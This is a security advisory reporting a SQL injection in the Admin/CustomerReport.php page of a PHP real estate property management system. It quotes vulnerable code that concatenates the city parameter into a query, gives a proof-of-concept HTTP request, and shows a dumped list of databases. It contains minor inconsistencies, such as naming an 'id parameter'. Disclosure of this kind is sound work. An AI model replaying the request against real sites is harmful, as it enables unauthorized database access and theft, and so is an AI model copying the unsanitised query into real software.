

# Real Estate Property Management System has sql injection vulnerability via Admin/CustomerReport.php

**supplier**

<https://code-projects.org/real-estate-property-management-system-php-source-code/>

## Vulnerability parameter

Admin/CustomerReport.php

## describe

An unrestricted SQL injection attack exists in an Real Estate Property Management System in Admin/CustomerReport.php. The parameters that can be controlled are as follows: \$city parameter . This function executes the id parameter into the SQL statement without any restrictions. A malicious attacker could exploit this vulnerability to obtain sensitive information in the server database.

## Code analysis

When the value of `$city` parameter is obtained in function `getCity`, it will be concatenated into SQL statements and executed, which has a SQL injection vulnerability.

```
Admin > CustomerReport.php > ...
134 <td colspan= / > <div align= center class= style1 /> <div align= center class= style1 /> </div> </td>
135 </tr>
136
137 <tr>
138 <td>Name </td>
139 <td>Address </td>
140 <td>Mobile </td>
141 <td>Email </td>
142 <td>Gender </td>
143 <td>BirthDate </td>
144 </tr>
145
146
147 <?php
148 // Establish Connection with Database
149 $con = mysql_connect(server: "localhost",username: "root",password: "root");
150 // Select Database
151 mysql_select_db(database_name: "pms", link_identifier: $con);
152 // Specify the query to execute
153 $sql = "select * from customer_reg where City='".$city."'";
154 // Execute query
155 $result = mysql_query(query: $sql,link_identifier: $con);
156 //Loop through each records
157 while($row = mysql_fetch_array(result: $result))
158 {
```

# POC

```
POST /Admin/CustomerReport.php HTTP/1.1
Host: property
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://property
Connection: close
Referer: http://property/Admin/CustomerReport.php?
Upgrade-Insecure-Requests: 1
Priority: u=0, i

city=H*&button=Display+Report
```

## Result

get databases

```
available databases [41]:
[*] `security`
[*] bloodbank
[*] challenges
[*] cltphp_show
[*] crud
[*] dedecmsv57utf8_115
[*] dedecmsv57utf8sp2
[*] dvwa
[*] easyweb
[*] ecms
[*] ecms4
[*] empirecms
[*] farmacia
[*] fastadmin
[*] forcms
[*] healthcare
[*] hostel
```